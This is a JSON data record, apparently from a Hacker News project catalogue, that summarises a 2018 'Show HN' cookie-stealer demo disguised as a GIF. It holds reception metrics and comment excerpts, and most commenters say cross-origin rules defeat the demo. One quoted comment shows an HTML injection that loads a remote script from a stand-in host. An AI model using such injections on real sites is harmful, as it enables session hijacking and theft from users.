[{"data":1,"prerenderedAt":197},["ShallowReactive",2],{"project-18246166":3},{"id":4,"name":5,"line":6,"line_source":7,"title":8,"url":9,"domain":10,"maker":11,"posted_at":12,"year":13,"points":14,"comments":15,"rank_in_year":16,"shown_in_year":17,"top":18,"tier":19,"category":20,"subcategory":21,"format":22,"keywords":23,"reception":27,"sentiment":28,"stance_mix":29,"scored_comments":33,"aspects":34,"strip":37,"post_text":39,"what":40,"said":65,"maker_in_thread":107,"shape":115,"grid":118,"attempts":157,"same_week":158,"maker_shows":188,"maker_hidden":189,"reader_version":190,"card":191},"18246166","cookie stealer","A cookie stealer disguised as a GIF image","title","Show HN: A cookie stealer disguised as a GIF image","https:\u002F\u002Fgithub.com\u002Fvictorqribeiro\u002FcookieStealer","github.com","atum47",1539841341,2018,7,18,1952,2155,91,"shown","security_privacy","proof of concept cookie theft demo","other",[5,24,25,26],"cross origin cookies","xss demo","session hijacking","curious",-0.308,{"positive":30,"neutral":31,"mixed":30,"critical":32},0,3,2,5,{"idea":35,"privacy":36},{"positive":30,"critical":32},{"positive":30,"critical":30},[38,30,30,30,30,30,30,30,31,31,30,30,38,30,31,30,30,30],1,null,{"problem":41,"audience":39,"pricing":39,"motivation":48,"time_to_build":39,"stack":57,"openness":62,"stage":63,"team_size":64},{"value":42,"source":43,"evidence":44},"Captures cookies by having a remote image.php log the request when injected HTML loads it","maker",[45],{"id":46,"by":11,"text":47},"18250777","The image.php file creates and writes a json dump of the request made (where the cookie is). The stealing part is when you inject the code on random web site.",{"value":49,"source":43,"evidence":50},"Maker says it was an experiment written after seeing HTML accepted in a Moodle chat",[51,54],{"id":52,"by":11,"text":53},"18253398","Well, it worked for me. I was using Moodle in class and the teacher opened a chat so we can all discuss some project; I realized the chat accepts html and wrote this script. I…",{"id":55,"by":11,"text":56},"18246420","it's a old project. I've been upload all the tools I ever made to git.",[58],{"value":59,"source":43,"evidence":60},"PHP",[61],{"id":46,"by":11,"text":47},"unknown","launched","solo",{"praise":66,"objections":67,"requests":96,"questions":97,"alternatives":106},[],[68,83,89],{"value":69,"source":70,"evidence":71},"Browsers do not send cross-origin image-host cookies, so the attack does not steal anything","commenter",[72,76,80],{"id":73,"by":74,"text":75},"18253110","jsjohnst","Except a browser doesn’t send cookies from one random domain to an “image” hosted on another domain, hence no “theft”. Cross origin cookie rules have been the same for eons.",{"id":77,"by":78,"text":79},"18255103","laomona","The cookies from the image domain are the ones that will be sent, not the ones from the domain that the image is displayed on. Hence, doesn't work unless you can host your php on…",{"id":81,"by":74,"text":82},"18248595","Has anyone looked at the code for this? It’s a joke (whether intended as one or not), it doesn’t really “steal” anything.",{"value":84,"source":70,"evidence":85},"Claimed classroom demo is implausible",[86],{"id":87,"by":74,"text":88},"18254083","I call bullshit unless this class was 20 years ago.",{"value":90,"source":70,"evidence":91},"Injecting HTML enables far worse attacks than cookie theft",[92],{"id":93,"by":94,"text":95},"18257324","onion2k","If you can inject any HTML then you could put a \u003Cscript src=\"\u002F\u002Fyoursite.com\u002Fhacks.js\">\u003C\u002Fscript> tag in there and make arbitrary requests on the user's computer, fingerprint their…",[],[98],{"value":99,"source":70,"evidence":100},"Does the cookie theft actually work across domains?",[101,105],{"id":102,"by":103,"text":104},"18246357","codegladiator","One of the oldest trick in blackhat ?",{"id":81,"by":74,"text":82},[],{"comments":108,"answered":31,"key":109},8,[110,111,112],{"id":46,"text":47},{"id":52,"text":53},{"id":113,"text":114},"18254174","Dude, look at this video: https:\u002F\u002Fyoutu.be\u002FKaEj_qZgiKY?t=181",{"commenters":108,"max_depth":108,"maker_replies":108,"first_comment_mins":116,"lifespan_hours":117},44,46,[119,121,123,125,126,128,129,131,133,135,138,141,144,145,147,150,152,154],[81,30,38,120,74,30],"project\u002Fcritical\u002Fidea",[46,30,30,122,11,38],"project\u002Fneutral\u002Fexecution",[73,30,30,124,74,30],"commenter\u002Fneutral\u002Fidea",[52,30,30,122,11,38],[87,30,30,127,74,30],"commenter\u002Fneutral\u002Fnone",[113,30,30,127,11,38],[77,30,30,130,78,30],"commenter\u002Fneutral\u002Fexecution",[132,30,30,127,74,30],"18256192",[93,30,31,134,94,30],"project\u002Fneutral\u002Fprivacy",[136,30,31,134,137,30],"18257470","sshine",[139,30,30,127,140,30],"18261035","dplgk",[142,30,30,143,11,38],"18252567","project\u002Fneutral\u002Fidea",[102,38,38,120,103,30],[55,38,30,146,11,38],"maker\u002Fneutral\u002Fnone",[148,38,31,146,149,30],"18257292","Arnt",[151,38,30,146,11,38],"18261664",[153,38,30,146,11,38],"18261670",[155,32,30,156,11,38],"18261724","project\u002Fneutral\u002Fnone",[],[159,164,169,174,179,184],{"id":160,"name":161,"points":162,"category":163},"18284910","Websites in 2018",595,"creative",{"id":165,"name":166,"points":167,"category":168},"18291302","Ultimate Plumber",484,"dev_tools",{"id":170,"name":171,"points":172,"category":173},"18258971","After Interview",306,"productivity",{"id":175,"name":176,"points":177,"category":178},"18265074","lip-reading-deeplearning",258,"ai",{"id":180,"name":181,"points":182,"category":183},"18294007","Relica",132,"infrastructure",{"id":185,"name":186,"points":187,"category":173},"18249424","Meeting Stats",127,53,false,"v2",{"id":192,"name":5,"line":6,"ai":189,"cat":20,"year":13,"points":14,"comments":15,"rec":27,"s":193,"top":18,"kw":194,"maker":11,"domain":10,"tier":19,"attempts":30,"strip":195,"url":9,"mix":196,"praise":-1,"objection":69,"sub":21},18246166,-0.31,[5,24,25,26],"100000003300103000",[30,31,30,32],1794036570631]